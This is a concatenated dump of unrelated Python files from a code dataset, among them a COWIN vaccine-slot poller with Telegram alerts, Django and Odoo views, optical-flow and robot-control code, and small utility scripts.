request_extra_opts=request_extra_opts)\n return client\n\ndef webhdfs_entry_to_dict(s):\n mode = int(s['permission'], 8)\n if s['type'] == 'DIRECTORY':\n mode |= S_IFDIR\n else:\n mode |= S_IFREG\n mtime = s['modificationTime'] / 1000\n atime = s['accessTime'] / 1000\n blksize = max(s['blockSize'], 1024*1024)\n sd = dict(name=s['pathSuffix'],\n st_mode=mode,\n st_ctime=mtime,\n st_mtime=mtime,\n st_atime=atime,\n st_nlink=s['childrenNum'] or 1,\n st_blocks=s['length'] // blksize,\n st_size=s['length'],\n st_creator = s['owner'],\n st_uid=owner_to_uid(s['owner']),\n st_gid=group_to_gid(s['group']),\n st_blksize=blksize)\n return sd\n\nif __name__ == '__main__':\n webhdfs = webhdfs_connect(configure())\n now = time()\n for s in webhdfs.list_dir('/')[\"FileStatuses\"][\"FileStatus\"]:\n sd = webhdfs_entry_to_dict(s)\n print(\"{:16}\\t{:6}\\t{:16}\\t{:16}\\t{}\\t{:9}\\t{}\"\n .format(sd['st_mode'], sd['st_nlink'], sd['st_uid'],\n sd['st_gid'], sd['st_blocks'],\n datetime.datetime.fromtimestamp(sd['st_mtime'] / 1000).strftime('%Y-%m-%d %H:%M'),\n sd['name']))\n","sub_path":"webhdfs.py","file_name":"webhdfs.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"309447491","text":"#!/usr/bin/python3\n\n##--------------------------------------------------------------------------------------------##\n## Author : Ankit Vashistha ##\n## Version : 2.2 ##\n## API : COWIN Public API, Telegram API ##\n## DISCLAIMER : This piece of code is written to demonstrate the usage of COWIN OPEN API. ##\n## It is not meant or should NEVER be used to abuse the system. Please note ##\n## there are lakhs or even crores of users trying to register themselves for ##\n## vaccination on COWIN site everyday. Please be compassionate and limit the ##\n## testing to COWIN's Dev environment API. See COWIN website for more details. ##\n##--------------------------------------------------------------------------------------------##\n\nimport requests\nimport json\nimport time as t\nimport hashlib\nimport datetime\nfrom secrets import BOT_CHATID,BOT_TOKEN,AGENT_SECRET,MOBILE_NUMBER,DISTRICT_ID,PINCODE\n\n## USER SPECIFIC VARIABLES - UPDATE secrets.py BEFORE EXECUTION.\n## Get from secrets file. Get your Agent Secret from COWIN site using browser's Developer Plugin >> Network >> Headers >> secret.\nNextDay_Date = datetime.datetime.today() + datetime.timedelta(days=1)\nschedule_date_today = NextDay_Date.strftime ('%d-%m-%Y')\nagent_secret = AGENT_SECRET\nschedule_district_id = DISTRICT_ID\nmobile_number = int(MOBILE_NUMBER)\n\n\n## COWIN API Endpoints - Do NOT Change | SEE: https://apisetu.gov.in/public/marketplace/api/cowin\ngetOTPurl = 'https://cdn-api.co-vin.in/api/v2/auth/public/generateOTP'\nvalidateOTPurl = 'https://cdn-api.co-vin.in/api/v2/auth/public/confirmOTP'\n# To find schedules by PIN, update below URL to use 'public/findByPin?pincode=' instead of 'sessions/public/calendarByDistrict?district_id='\ngetSchedulesurl = \"https://cdn-api.co-vin.in/api/v2/appointment/sessions/public/findByDistrict?district_id=\" + schedule_district_id + \"&date=\" + schedule_date_today\ngetBeneficiariesurl = \"https://cdn-api.co-vin.in/api/v2/appointment/beneficiaries\"\nscheduleAppointmenturl = \"https://cdn-api.co-vin.in/api/v2/appointment/schedule\"\n\n\n# Keep Alive Session\ns = requests.Session()\n\n\n## SEND MESSAGE ABOUT SUITABLE SCHEDULE ON TELEGRAM BOT\ndef telegram_bot_sendtext(BOT_MESSAGE):\n # https://api.telegram.org/bot/getUpdates\n send_text = 'https://api.telegram.org/bot' + BOT_TOKEN + '/sendMessage?chat_id=' + BOT_CHATID + '&parse_mode=Markdown&text=' + BOT_MESSAGE\n response = s.get(send_text)\n return response.json()\n\n\n\n## GENERATE OTP ON MOBILE NUMBER\npayload = json.dumps({\n 'mobile': mobile_number,\n 'secret': agent_secret\n})\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37',\n 'accept': 'application/json',\n 'Content-Type': 'application/json'\n}\n\nresponse = s.post(getOTPurl, headers=headers, data=payload)\n\nprint(\"\\n[GET OTP] RESULT:: Status Code: {} Reason: {}\\n\".format(response.status_code,response.reason))\ntxnId = response.json()['txnId']\n\n\n\n## CONFIRM OTP FROM SMS RECEIVED ON MOBILE NUMBER - WE GET A TOKEN HERE USED IN getBeneficiaries AND scheduleAppointment CALLS AS BEARER TOKEN\n# Read OTP from stdin\nOTP = input('[USER INPUT] Please enter the COWIN OTP you just received on your number: ')\nencodedOTP = hashlib.sha256(OTP.encode('utf-8')).hexdigest()\nprint(encodedOTP)\npayload = json.dumps({\n \"otp\": encodedOTP,\n \"txnId\": txnId\n})\n\nheaders = {\n 'accept': 'application/json',\n 'Content-Type': 'application/json',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37'\n}\n\nresponse = s.post(validateOTPurl, headers=headers, data=payload)\n\n# Store token value. This will be required to getBeneficiaries and scheduleAppointment\n\nprint(\"\\n[AUTH OTP] RESULT:: Status Code: {} Reason: {}\\n\".format(response.status_code,response.reason))\n\ntoken = response.json()['token']\n\n\n## GET APPOINTMENT SCHEDULES FOR PRESENT DAY BY DISTRICT_ID. SEE getSchedulesurl VARIABLE DECLARATION FOR DETAILS.\nprint('[INFO] Checking for Available Centers...\\n')\n\nwhile True:\n payload={}\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37'\n }\n\n response = s.get(getSchedulesurl, headers=headers, data=payload)\n time = datetime.datetime.now()\n\n print(\"[GET SCHEDULE] [{}] RESULT:: Status Code: {} Reason: {}\\n\".format(time,response.status_code,response.reason))\n\n centers = response.json()['sessions']\n\n #print(centers) ## DEBUG: Get All Center Details\n\n for center in centers:\n name = center['name']\n address = center['address']\n district = center['district_name']\n block = center['block_name']\n pincode = center['pincode']\n fee_type = center['fee_type']\n fee = center['fee']\n session_id = center['session_id']\n date = center['date']\n availability = center['available_capacity']\n min_age = center['min_age_limit']\n vaccine = center['vaccine']\n slots = center['slots']\n dose1cap = center['available_capacity_dose1']\n dose2cap = center['available_capacity_dose2']\n\n # Check if Age Group, Vaccine Type match and there are available slots for vaccination.\n if min_age == 18 and availability > 0:# and vaccine == \"COVAXIN\" and availability > 0:\n print('FOUND SUITABLE SLOT\\nName: {} | Address: {}\\nDistrict: {} | Block: {} | Pincode: {}\\nFee_Type: {} | Fee: {} | Session_ID: {}\\nDate: {} | Available Slots: {}\\nAge_Limit: {} | Vaccine_Type: {}\\nSlots: {}\\nDose1_Cap: {} | Dose2_Cap: {}\\n'.format(name,address,district,block,pincode,fee_type,fee,session_id,date,availability,min_age,vaccine,slots,dose1cap,dose2cap))\n \n message = '*Name*: ' + name + ' | *Address*: ' + address+ ' | *District*: ' + district + ' | *Block*: ' + block + ' | *Pincode*: ' + str(pincode) + ' | *Fee*: ' + str(fee) + ' | *Date*: ' + str(date) + ' | *Age-Limit*: ' + str(min_age) + ' | *Vaccine-Type*: ' + vaccine + ' | *https://selfregistration.cowin.gov.in* | *Available Slots*: ' + str(availability) + ' | *Dose1-Slots*: ' + str(dose1cap) + ' | *Dose2-Slots*: ' + str(dose2cap)\n\n sentMessage = telegram_bot_sendtext(message)\n print(\"[BOT MESSAGE] Message sent to Telegram: {}\".format(sentMessage))\n\n print(\"..........\\n\")\n\n t.sleep(30)\n\n","sub_path":"COWIN.py","file_name":"COWIN.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"182622621","text":"def intersection_v1(L1, L2):\n\t'''This function finds the intersection between \n\tL1 and L2 list using in-built methods '''\n\ts1 = set(L1)\n\ts2 = set(L2)\n\n\tresult = list(s1 & s2)\n\treturn result\n\nif __name__ == \"__main__\":\n\tL1 = [1,3,6,78,35,55]\n\tL2 = [12,24,35,24,88,120,155]\n\tresult = intersection_v1(L1, L2)\n\tprint(f\"Intersection elements: {result}\")\n","sub_path":"lab_week2/intersection_v1.py","file_name":"intersection_v1.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"57392728","text":"# The attribute list\n#\n# To add an attribute define it as a standard function here.\n#\n# Then apply the attribute function decorator::\n#\n# @attribute(object_type, name, plottable, trainable)\n#\n# Where:\n# object_type is the type of object that the attribute is applicable to,\n# either Frame or Cluster, or PixelGrid for either.\n#\n# name is a human readable label which is used to identify it in the GUI\n#\n# plottable is a boolean that describes whether the attribute is polottable on\n# a graph (may be omitted, defualts to false)\n#\n# plottable is a boolean that describes whether the attribute is usable in\n# machine learning algorithms (may be omitted, defualts to the value of\n# plottable)\n#\n#\n# The attribute functions may be defined in any order. The order in which they are\n# defined here is the order in which they will appear in the GUI\n\"\"\"\n.. note:: Although these functions appear in the documentation as functions, they are\n converted into properties at runtime so do not need to be called with parenthesis.\n\"\"\"\nimport hashlib\n\nfrom pypix import *\n# ============== Attributes begin here and maintain order ===============\n\n@attribute(PixelGrid, \"No. of hits\", True)\ndef number_of_hits(self):\n return len(self.hit_pixels)\n\n@attribute(PixelGrid, \"Volume\", True)\ndef volume(self):\n return sum(self.counts)\n\n@attribute(PixelGrid, \"Mean count\", True)\ndef mean_count(self):\n if self.number_of_hits == 0: # Don't divide by zero\n return 0\n return float(self.volume)/self.number_of_hits\n\n@attribute(PixelGrid, \"Count std. dev.\", True)\ndef standard_deviation(self):\n if self.number_of_hits == 0: #Don't divide by zero\n return 0\n mean_square = (float(sum([count**2 for count in self.counts]))\n /self.number_of_hits)\n square_mean = self.mean_count**2\n return (mean_square - square_mean)**0.5\n\n@attribute(Frame, \"No. of clusters\")\ndef number_of_clusters(self):\n if not self.clusters:\n self.calculate_clusters()\n return len(self.clusters)\n\n@attribute(Cluster, \"Geo. centre\")\ndef geometric_centre(self):\n return (self.cluster_width/2.0 + self.min_x,\n self.cluster_height/2.0 + self.min_y)\n\n@attribute(Cluster, \"C. of mass\")\ndef centre_of_mass(self):\n weighted_hits = [tuple([self[hit].value * coord for coord in hit])\n for hit in self.hit_pixels]\n x_coords, y_coords = zip(*weighted_hits)\n total_weight = float(self.volume)\n return (sum(x_coords)/total_weight, sum(y_coords)/total_weight)\n\n@attribute(Cluster, \"Radius\", True)\ndef radius(self):\n # Call centre of mass once to save computing multiple times\n cofm_x, cofm_y = self.centre_of_mass\n distances_squared = []\n for pixel in self.hit_pixels:\n x_diff = pixel[0] - cofm_x\n y_diff = pixel[1] - cofm_y\n distances_squared.append(x_diff**2 + y_diff**2)\n return max(distances_squared)**0.5\n\n@attribute(Cluster, \"Most neighbours\", True)\ndef most_neighbours(self):\n return self.get_max_neighbours()[0]\n\n@attribute(Cluster, \"UUID\")\ndef UUID(self):\n \"\"\"\n Return the cluster UUID\n (SHA1 digest of the cluster.ascii_grid representation).\n \"\"\"\n return hashlib.sha1(self.ascii_grid).hexdigest()\n","sub_path":"crayfish/pypix/attributes.py","file_name":"attributes.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"147053920","text":"# _*_ coding: utf-8 _*_\nfrom odoo import models, api, fields\nimport collections\nimport pprint\n\nclass MarginReport(models.AbstractModel):\n _name = 'report.jptip_request.margin_report'\n\n @api.model\n def get_report_values(self, docids, data=None):\n docs = self.env['crm.lead'].browse(docids)\n return {\n 'doc_ids': docs.ids,\n 'doc_model': 'crm.lead',\n 'docs': docs,\n 'proforma': True\n }\n","sub_path":"addons_jptip/jptip_request/report/margin_report.py","file_name":"margin_report.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"282755289","text":"__author__ = 'alex'\n# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render_to_response\nfrom treetoxml.src.main.models import Structure\nfrom treetoxml.src.main.utils import *\nfrom treetoxml.src.main.actions import *\n\n\ndef index(request):\n try:\n Structure.objects.get(name=\"Root\")\n except Exception:\n Structure.objects.create(name=\"Root\")\n\n return render_to_response(\"main/index.html\")\n\n\n@render_to_json\ndef get_all(request):\n return get_all_json_struct()\n\n\n@render_to_json\ndef create(request):\n parent_id = request.POST.get(\"parent_id\", 0)\n name = request.POST.get(\"name\", None)\n node_type = request.POST.get(\"type\", None)\n return create_node(parent_id, name, node_type)\n\n\n@render_to_json\ndef update(request):\n node_id = request.POST.get(\"id\", 0)\n name = request.POST.get(\"text\", None)\n return update_name(node_id, name)\n\n@render_to_json\ndef delete(request):\n node_id = request.POST.get(\"id\", 0)\n return delete_node(node_id)\n\n@render_to_xml\ndef get_xml(request):\n from dicttoxml import dicttoxml\n xml = dicttoxml(get_all_json_struct())\n return xml","sub_path":"treetoxml/src/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"107560756","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n# Copyright © K7zy\n# CreateTime: 2016-05-06 21:46:09\n\nimport sys, string\n\ndef gethelp():\n if len(sys.argv) < 2:\n print('Usage: help string!!!')\n sys.exit()\n else:\n f = open(sys.argv[1]+'.txt','w')\n sys.stdout = f\n help(sys.argv[1])\n f.close()\n\nif __name__ == \"__main__\":\n gethelp()\n","sub_path":"script/gethelp.py","file_name":"gethelp.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"539846493","text":"#class Solution:\n# def getMaximumXor(self, nums: List[int], maximumBit: int) -> List[int]:\n \ndef getMaximumXor(nums, maximumBit):\n n = len(nums)\n answer = [0 for _ in range(n)]\n # N.B. Nobody says maximumBit > 0\n if maximumBit <= 0:\n return answer\n\n # From now on, we are assured maximumBit is a positive integer\n xor_int = nums[0]\n for i in range(1,n):\n xor_int ^= nums[i]\n # Decide k for each i below\n for i in range(n):\n xor_bitstr = bin(xor_int)[2:]\n n_bits = len(xor_bitstr)\n if n_bits >= maximumBit:\n #sub_xor_bitstr = xor_bitstr[-maximumBit:]\n sub_xor_int = xor_int & int(\"1\"*maximumBit, 2)\n k = ~sub_xor_int & int(\"1\"*(len(bin(sub_xor_int))-2), 2)\n else:\n k_bitstr = \"1\"*(maximumBit - n_bits) + xor_bitstr.replace(\"0\", \"2\").replace(\"1\", \"0\").replace(\"2\", \"1\")\n k = int(k_bitstr, 2)\n answer[i] = k\n discarded = nums.pop()\n xor_int ^= discarded\n return answer\n\n\ndef test(nums, maximumBit, expected):\n sol = getMaximumXor(nums, maximumBit)\n if sol == expected:\n print(\"Congratulations!\")\n else:\n print(f\"sol = {sol}\")\n print(f\"expected = {expected}\")\n print()\n\nif __name__ == \"__main__\":\n test_id = 0\n \n test_id += 1\n print(f\"testcase {test_id}\")\n nums = [0,1,1,3]\n maximumBit = 2\n expected = [0,3,2,3]\n test(nums, maximumBit, expected)\n\n test_id += 1\n print(f\"testcase {test_id}\")\n nums = [2,3,4,7]\n maximumBit = 3\n expected = [5,2,6,5]\n test(nums, maximumBit, expected)\n\n test_id += 1\n print(f\"testcase {test_id}\")\n nums = [0,1,2,2,5,7]\n maximumBit = 3\n expected = [4,3,6,4,6,7]\n test(nums, maximumBit, expected)\n\n\n","sub_path":"contest/biweekly/50/xor.py","file_name":"xor.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"481975103","text":"\"\"\"\n\ntest_sed_mcd.py\n\nAuthor: Jordan Mirocha\nAffiliation: University of Colorado at Boulder\nCreated on: Thu May 2 10:46:44 2013\n\nDescription: Plot a simple multi-color disk accretion spectrum.\n\n\"\"\"\n\nimport ares\nimport numpy as np\nimport matplotlib.pyplot as pl\n\npars = \\\n{\n 'source_temperature': 1e4,\n 'source_Emin': 1.,\n 'source_Emax': 1e2,\n 'source_qdot': 1e50,\n}\n\nls = [':', '--', '-']\nfor i, logT in enumerate([4, 4.5, 5]):\n pars.update({'source_temperature': 10**logT})\n\n src = ares.sources.Star(init_tabs=False, **pars)\n bh = ares.analysis.Source(src)\n \n ax = bh.PlotSpectrum(ls=ls[i], \n label=r'$T_{{\\ast}} = 10^{{{:.2g}}} \\mathrm{{K}}$'.format(logT))\n\nax.plot([10.2]*2, [1e-8, 1], color='r', ls='--')\nax.plot([13.6]*2, [1e-8, 1], color='r', ls='--')\n\nax.legend(loc='lower left')\nax.set_ylim(1e-8, 1)\npl.draw()\n\n\n","sub_path":"examples/sources/test_sed_bb.py","file_name":"test_sed_bb.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"506770958","text":"\nimport numpy as np\nimport gym\nfrom utils.wrappers import NormalizedEnv, SubprocVecEnv, DummyVecEnv\n\n\n'''\nFunctions to facilitate environment creation. Currently only supports parallelization of particle environments.\n'''\n\ndef make_env(config):\n # make env\n if config.normalize_env:\n env = NormalizedEnv(gym.make(config.env))\n elif config.n_threads is not None:\n print('making parallel env')\n env = make_parallel_env(config)\n elif config.particle_env:\n print('making particle env')\n env = make_particle_env(config)\n else:\n env = gym.make(config.env)\n\n return env\n\n\n# https://github.com/openai/multiagent-particle-envs/blob/master/make_env.py\ndef make_particle_env(config):\n '''\n Creates a MultiAgentEnv object as env. This can be used similar to a gym\n environment by calling env.reset() and env.step().\n Use env.render() to view the environment on the screen.\n Input:\n scenario_name : name of the scenario from ./scenarios/ to be Returns\n (without the .py extension)\n benchmark : whether you want to produce benchmarking data\n (usually only done during evaluation)\n Some useful env properties (see environment.py):\n .observation_space : Returns the observation space for each agent\n .action_space : Returns the action space for each agent\n .n : Returns the number of Agents\n '''\n from multiagent.environment import MultiAgentEnv\n import multiagent.scenarios as scenarios\n\n # load scenario from script\n scenario = scenarios.load(config.env + \".py\").Scenario()\n # create world\n world = scenario.make_world(config, discrete=config.discrete)\n # create multiagent environment\n env = MultiAgentEnv(world, reset_callback=scenario.reset_world,\n reward_callback=scenario.reward,\n observation_callback=scenario.observation,\n info_callback=scenario.benchmark_data,\n done_callback=scenario.terminal)\n return env\n\n# https://github.com/shariqiqbal2810/maddpg-pytorch/blob/master/main.py\ndef make_parallel_env(config):\n def get_env_fn(seed, rank):\n def init_env():\n env = make_particle_env(config)\n env.seed(seed + rank * 1000)\n np.random.seed(seed + rank * 1000)\n return env\n return init_env\n if config.n_threads == 1:\n return DummyVecEnv([get_env_fn(config.seed, 0)])\n else:\n return SubprocVecEnv([get_env_fn(config.seed, i) for i in range(config.n_threads)])\n\n\n","sub_path":"utils/make_env.py","file_name":"make_env.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"61234287","text":"from numpy import zeros\n\nimport logging\nfrom hindemith.core import *\nfrom hindemith.operations.optical_flow.pyr_down import pyr_down, pyr_down_fn\nfrom hindemith.operations.optical_flow.pyr_up import pyr_up\n\nlogging.basicConfig(level=20)\n\ndefines = {}\n\ndefines['nd20'] = 1\ndefines['nd21'] = 1\ndefines['nt20'] = 16\ndefines['nt21'] = 16\ndefines['ne20'] = 1\ndefines['ne21'] = 1\n\n# defines['nd20'] = 1\n#defines['nd21'] = 1\n#defines['nt20'] = 32\n#defines['nt21'] = 1\n#defines['ne20'] = 1\n#defines['ne21'] = 1\n\n\n@fuse\ndef update_uv(u, v, du, dv, two, w, h):\n u = u + du\n v = v + dv\n u = u * two\n v = v * two\n #u = median_filter(u)\n #v = median_filter(v)\n new_u = pyr_up(u)\n new_v = pyr_up(v)\n return new_u, new_v\n\n\n@fuse\ndef update_uv_noresize(u, v, du, dv):\n new_u = u + du\n new_v = v + dv\n #new_u = median_filter(new_u)\n #new_v = median_filter(new_v)\n return new_u, new_v\n\n\nclass OpticalFlowSolver(object):\n def runMultiLevel(self, im1, im2, u, v, num_pyr, num_full):\n self.bytes_transferred = 0\n self.theoretical_bytes_transferred = 0\n self.flops = 0\n # pyr1 = [Array2D.fromArray(im1)]\n # pyr2 = [Array2D.fromArray(im2)]\n # sizes = [(ScalarConstant(im1.shape[0]), ScalarConstant(im1.shape[1]))]\n pyr1 = [im1]\n pyr2 = [im2]\n sizes = [(im1.shape[0], im1.shape[1])]\n\n for i in range(1, num_pyr + 1):\n pyr1.insert(0, pyr_down_fn(im=pyr1[0]))\n pyr2.insert(0, pyr_down_fn(im=pyr2[0]))\n sizes.insert(0, (pyr1[0].shape[0], pyr1[0].shape[1]))\n\n hm_u = zeros(sizes[0], dtype=u.dtype)\n hm_v = zeros(sizes[0], dtype=v.dtype)\n two = 2.0\n\n # For each size\n for i in range(0, num_pyr):\n hm_du, hm_dv = self.run(pyr1[i], pyr2[i], hm_u, hm_v)\n hm_u, hm_v = update_uv(u=hm_u, v=hm_v, du=hm_du, dv=hm_dv, two=two, w=sizes[i + 1][0],\n h=sizes[i + 1][1])\n #sync(hm_u)\n #sync(hm_v)\n #import flow_mod\n #flowimg = flow_mod.run(float64(hm_u), float64(hm_v), 0.0)\n #cv2.imshow('flowimg', flowimg)\n #cv2.waitKey(10)\n\n # For each size\n for i in range(0, num_full):\n hm_du, hm_dv = self.run(pyr1[num_pyr], pyr2[num_pyr], hm_u, hm_v)\n hm_u, hm_v = update_uv_noresize(u=hm_u, v=hm_v, du=hm_du, dv=hm_dv)\n #sync(hm_u)\n #sync(hm_v)\n #import flow_mod\n #flowimg = flow_mod.run(float64(hm_u), float64(hm_v), 0.0)\n #cv2.imshow('flowimg', flowimg)\n #cv2.waitKey(10)\n\n # sync(hm_u)\n # sync(hm_v)\n # u = array(hm_u)\n # v = array(hm_v)\n u = hm_u.data\n v = hm_v.data\n return u, v\n","sub_path":"examples/OpticalFlow/optical_flow_solver.py","file_name":"optical_flow_solver.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"622993704","text":"import csv\r\n\r\ndef read_csv(path, header):\r\n\tdata = []\r\n\r\n\tfile = open(path, 'rt')\r\n\r\n\ttry:\r\n\t\treader = csv.reader(file)\r\n\t\tif not header:\r\n\t\t\tnext(reader, None)\r\n\t\tfor row in reader:\r\n\t\t\tdata.append([check_type(i) for i in row])\r\n\texcept Exception as e:\r\n\t\traise e\r\n\r\n\treturn data\r\n\r\ndef check_type(value):\r\n\tif is_int(value):\r\n\t\treturn int(value)\r\n\telif is_float(value):\r\n\t\treturn float(value)\r\n\telse:\r\n\t\treturn value.strip()\r\n\r\ndef is_float(value):\r\n\ttry:\r\n\t\tvalue = float(value)\r\n\texcept ValueError:\r\n\t\treturn False\r\n\telse:\r\n\t\treturn True\r\n\r\ndef is_int(value):\r\n\ttry:\r\n\t\tvalue = int(value)\r\n\t\treturn True\r\n\texcept ValueError:\r\n\t\treturn False\r\n\r\n","sub_path":"csv_reader.py","file_name":"csv_reader.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"287718100","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n#\n\n\n\nclass Base_Test():\n \n def __init__(self, logger):\n self.logging_instance = logger\n self.test_name = \"Sample test\"\n self.description = \"Base test class\"\n self.test_number = -1\n self.done = False\n self.active = False\n self.result = False\n \n def run_test(self):\n self.logging_instance.warning('You have called default run_test()')\n self.done = True\n return self.result\n \n \n","sub_path":"base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"619100098","text":"num = int(input())\nfor i in range(num):\n m = list(input())\n res = 0\n dp = [1] * len(m)\n for j in range(len(m)):\n for k in range(j):\n if m[j] > m[k]:\n dp[j] = max(dp[j], dp[k] + 1)\n\n res = max(res, dp[j])\n\n print(res)\n","sub_path":"Code/CodeRecords/2683/60730/289506.py","file_name":"289506.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"642935574","text":"\"\"\" Конфигурация робота \"\"\"\nfrom RPiPWM import *\n\n\"\"\"\n F - Front\n B - Backside\n L - Left\n R - Right\n\"\"\"\nIP = '173.1.0.78' # IP адрес куда отправляем видео\nRPCServerPort = 9000 # порт RPC сервера\nINTENSIVITY = 110\nSENSIVITY = 108 # чувствительность автономки\nRTP_PORT = 5000\nPORT = 8000\n\nchanSrvFL = 8 # канал для передней левой сервы\nchanSvrFR = 6 # канал для передней правой сервы\nchanSrvBL = 11 # канал для задней левой сервы\nchanSrvBR = 9 # канал для задней правой сервы\nchanSvrCAM = 7 # канал для сервы с камерой\n\nchanRevMotorLB = 15 # каналы моторов, индексы аналогичны сервам\nchanRevMotorRB = 14\n\nservoResolutionDeg = -90, 90 # разрешение с центром в нуле\nservoResolutionMcs = 800, 2400\ncameraResolutionDeg = 0, 35 # разрешение камеры в градусах\nrotateAngle = 57.76 # угол в градусах, на который надо повернуть сервы, чтобы робот крутился на месте\n# для квадратных роботов это 45 градусов\n\nSvrFL = Servo270(chanSrvFL) # передняя левая\nSvrFR = Servo270(chanSvrFR) # передняя правая\nSvrBL = Servo270(chanSrvBL) # задняя левая\nSvrBR = Servo270(chanSrvBR) # задняя правая\nSvrCAM = Servo90(chanSvrCAM)\n\nMotorLB = ReverseMotor(chanRevMotorLB) # моторы, индексы аналогичные\nMotorRB = ReverseMotor(chanRevMotorRB)\n\nglobal AUTO\nAUTO = False # флаг автономки\n\n\ndef servoScale(value): # рескейлим серву, как нам нужно\n degRange = (servoResolutionDeg[1] - servoResolutionDeg[0])\n mskRange = (servoResolutionMcs[1] - servoResolutionMcs[0])\n result = ((value - servoResolutionDeg[0])/degRange) * mskRange + servoResolutionMcs[0]\n if result > servoResolutionMcs[1]:\n return servoResolutionMcs[1]\n elif result < servoResolutionMcs[0]:\n return servoResolutionMcs[0]\n else:\n return int(result)\n\n\ndef rotate(speed):\n \"\"\" поворот на месте, speed - скорость поворота \"\"\"\n global AUTO\n if not AUTO:\n if abs(speed) < 10:\n SvrFL.SetMcs(servoScale(0))\n SvrFR.SetMcs(servoScale(0))\n SvrBL.SetMcs(servoScale(0))\n SvrBR.SetMcs(servoScale(0))\n MotorRB.SetValue(0)\n MotorLB.SetValue(0)\n else:\n SvrFL.SetMcs(servoScale(rotateAngle))\n SvrFR.SetMcs(servoScale(-rotateAngle))\n SvrBL.SetMcs(servoScale(-rotateAngle))\n SvrBR.SetMcs(servoScale(rotateAngle))\n MotorRB.SetValue(speed)\n MotorLB.SetValue(speed)\n return True\n\n\ndef turnAll(scale):\n \"\"\" поворот всех серв на один угол\"\"\"\n global AUTO\n if not AUTO:\n result = servoScale(90 * scale)\n SvrFL.SetMcs(result)\n SvrFR.SetMcs(result)\n SvrBL.SetMcs(result)\n SvrBR.SetMcs(result)\n return True\n\n\ndef turnForwardit(scale):\n \"\"\" поворот передней части робота \"\"\"\n SvrBR.SetMcs(servoScale(-rotateAngle * scale))\n SvrBL.SetMcs(servoScale(-rotateAngle * scale))\n SvrFL.SetMcs(servoScale(rotateAngle * scale))\n SvrFR.SetMcs(servoScale(rotateAngle * scale))\n\n\ndef turnForward(scale):\n \"\"\" поворот передней части робота \"\"\"\n global AUTO\n if not AUTO:\n SvrBR.SetMcs(servoScale(0))\n SvrBL.SetMcs(servoScale(0))\n SvrFL.SetMcs(servoScale(rotateAngle * scale))\n SvrFR.SetMcs(servoScale(rotateAngle * scale))\n return True\n\n\ndef moveit(speed):\n MotorLB.SetValue(-speed)\n MotorRB.SetValue(speed)\n\n\ndef move(speed):\n \"\"\" движение вперед/назад \"\"\"\n global AUTO\n if not AUTO:\n moveit(speed)\n return True\n\n\ndef setCamera(scale):\n \"\"\" установить камеру в нужное положение \"\"\"\n resolution = cameraResolutionDeg[1] - cameraResolutionDeg[0]\n if scale * resolution > cameraResolutionDeg[1]:\n result = cameraResolutionDeg[1]\n elif scale * resolution < cameraResolutionDeg[0]:\n result = cameraResolutionDeg[0]\n else:\n result = scale * resolution\n SvrCAM.SetValue(result)\n\n\ndef setAuto(b):\n \"\"\" Установка автономности \"\"\"\n global AUTO\n AUTO = b\n","sub_path":"Guslik/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"213473595","text":"import logging\n\n\n# helper functions for NBA_py_getter\n\n\ndef parse_argv(argv_list):\n \"\"\"\n Count optional positional params for the script and parse them to modify\n the runtime behavior of main using the flags in main.\n :param argv_list: argv list imported from sys\n :return: [first_run, no_mongo, no_postgre, run_date]\n \"\"\"\n logging.info(\"Parsing environment runtime arguments - START\")\n first_run = False\n no_mongo = False\n no_postgre = False\n run_date = None\n is_season_run = False\n season_run_season = None\n\n output = [first_run, no_mongo, no_postgre, run_date, is_season_run, season_run_season]\n counter = 1\n try:\n while counter <= len(output):\n output[counter - 1] = argv_list[counter]\n counter = counter + 1\n except Exception:\n logging.exception(\"Bumped into a problem with putting the env params into a list!\")\n 